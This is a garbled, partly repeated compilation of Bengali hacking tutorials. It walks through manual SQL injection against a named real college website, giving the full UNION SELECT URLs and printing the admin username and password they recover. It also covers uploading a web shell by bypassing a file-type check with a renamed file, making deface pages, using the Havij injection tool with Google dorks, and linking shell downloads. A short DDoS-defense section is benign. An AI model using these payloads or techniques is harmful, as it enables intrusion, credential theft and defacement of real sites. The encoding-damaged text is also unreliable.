ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
